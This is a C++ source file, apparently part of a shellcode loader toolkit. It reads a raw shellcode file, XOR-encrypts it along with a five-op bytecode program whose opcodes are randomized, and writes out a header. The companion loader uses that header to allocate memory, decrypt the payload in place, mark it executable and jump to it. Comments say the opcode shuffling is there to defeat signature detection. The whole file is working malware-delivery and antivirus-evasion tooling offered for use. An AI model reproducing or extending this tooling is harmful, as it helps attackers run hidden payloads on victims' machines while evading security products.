/* BSD 2-Clause License Copyright (c) 2026, MochaByte Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: 1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. 2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ /* example_builder.cpp : the tiny builder companion to example_loader.cpp. Reads a raw shellcode file from argv[1] (typically example/payload.bin), then emits a self-contained C++ header on stdout containing: - g_ir_blob[] : the encrypted, opcode-randomized bytecode (5 ops) - g_ir_seed : the 32-bit seed both sides use to derive XOR keys - g_ir_payload[] : the encrypted shellcode bytes - g_ir_payload_size: how many bytes the payload is The Makefile redirects that header into example/embedded.h, which the loader then #include's. Result: a real round-trip where what the builder writes is exactly what the loader reads back, decrypts, and runs ^^. The bytecode pipeline this produces is the classic loader sequence: alloc -> write encrypted -> decrypt in place -> protect RX -> jump. Build: clang++ -std=c++20 -O2 -I.. example_builder.cpp -o example_builder Run: ./example_builder example/payload.bin > example/embedded.h */ #include "../vm_loader.hpp" #include #include #include #include #include #include #include // Mirror the loader's opcode definition. In a real project this would live in // a shared header consumed by both sides. enum class LoaderOp : std::uint8_t { AllocRegion = 0, WritePayload = 1, DecryptRegion = 2, ProtectRX = 3, ExecRegion = 4, }; using OpT = vmkit::Op; // Forward map: real opcode -> randomized opcode written into the bytecode. // Must be the inverse of the loader's reverse map. Shuffle these around per // build to defeat opcode-byte signatures. constexpr vmkit::OpcodeReverseMap forward_map() noexcept { vmkit::OpcodeReverseMap m = vmkit::identity_reverse_map(); m[static_cast(LoaderOp::AllocRegion)] = 4; m[static_cast(LoaderOp::WritePayload)] = 2; m[static_cast(LoaderOp::DecryptRegion)] = 0; m[static_cast(LoaderOp::ProtectRX)] = 1; m[static_cast(LoaderOp::ExecRegion)] = 3; return m; } // Build one op with its opcode pre-encoded through the forward map. constexpr OpT make_op(LoaderOp real, std::uint32_t a = 0, std::uint32_t b = 0, std::uint64_t x = 0) noexcept { constexpr auto fmap = forward_map(); OpT op{}; op.opcode = LoaderOp{fmap[static_cast(real)]}; op.u32[0] = a; op.u32[1] = b; op.u64[0] = x; return op; } // Derive a 32-byte XOR key from a seed. Mix in a constant so identical seeds // across projects don't produce identical keys. Both sides use this for both // the bytecode and the payload, so keep it in sync with the loader. static std::array derive_key(std::uint32_t seed) noexcept { std::array key{}; constexpr std::uint8_t base[6] = {'v', 'm', 'k', 'i', 't', '!'}; for (std::size_t i = 0; i < key.size(); ++i) { key[i] = static_cast(base[i % 6] + (seed & 0xFF) + i * 13); } return key; } // Slurp a binary file into a vector. Used to pull the shellcode in. static std::vector read_file(const char* path) { std::ifstream f(path, std::ios::binary | std::ios::ate); if (!f) { std::fprintf(stderr, "example_builder: cannot open '%s'\n", path); std::exit(1); } const std::streamsize size = f.tellg(); f.seekg(0, std::ios::beg); std::vector buf(static_cast(size)); if (size > 0 && !f.read(reinterpret_cast(buf.data()), size)) { std::fprintf(stderr, "example_builder: failed reading '%s'\n", path); std::exit(1); } return buf; } // Print a span as a comma-separated hex array, 16 bytes per line. static void emit_hex_array(std::span data) { for (std::size_t i = 0; i < data.size(); ++i) { std::printf("0x%02X,%s", data[i], (i % 16 == 15) ? "\n " : " "); } } int main(int argc, char** argv) { if (argc < 2) { std::fprintf(stderr, "usage: %s \n", argv[0]); return 1; } // Pull the plaintext shellcode in. auto payload = read_file(argv[1]); const std::size_t payload_size = payload.size(); // The 5-op pipeline the loader will run: // alloc R0 -> write encrypted payload -> decrypt R0 -> protect RX -> jump. OpT program[] = { make_op(LoaderOp::AllocRegion, /*region=*/0, /*-*/0, /*size=*/payload_size), make_op(LoaderOp::WritePayload, /*region=*/0, /*size=*/static_cast(payload_size), /*src_off=*/0), make_op(LoaderOp::DecryptRegion, /*region=*/0, /*-*/0, /*size=*/payload_size), make_op(LoaderOp::ProtectRX, /*region=*/0, /*-*/0, /*size=*/payload_size), make_op(LoaderOp::ExecRegion, /*region=*/0), }; auto blob = std::span{ reinterpret_cast(program), sizeof(program), }; // Encrypt both the bytecode and the payload with a key derived from the // same seed. Splitting them into two keys is straightforward; we keep one // here for simplicity. constexpr std::uint32_t seed = 0xC0FFEE; const auto key = derive_key(seed); vmkit::xor_codec::apply(blob, key); vmkit::xor_codec::apply(std::span(payload), key); // Emit the self-contained header. std::printf("#pragma once\n"); std::printf("// Generated by example_builder. Do not edit by hand.\n"); std::printf("// seed = 0x%08X | bytecode = %zu bytes (%zu ops) | payload = %zu bytes\n", seed, blob.size(), blob.size() / sizeof(OpT), payload_size); std::printf("#include \n"); std::printf("#include \n\n"); std::printf("inline constexpr unsigned char g_ir_blob[] = {\n "); emit_hex_array(blob); std::printf("\n};\n"); std::printf("inline constexpr std::uint32_t g_ir_seed = 0x%08Xu;\n\n", seed); std::printf("inline constexpr unsigned char g_ir_payload[] = {\n "); emit_hex_array(std::span(payload)); std::printf("\n};\n"); std::printf("inline constexpr std::size_t g_ir_payload_size = %zu;\n", payload_size); return 0; }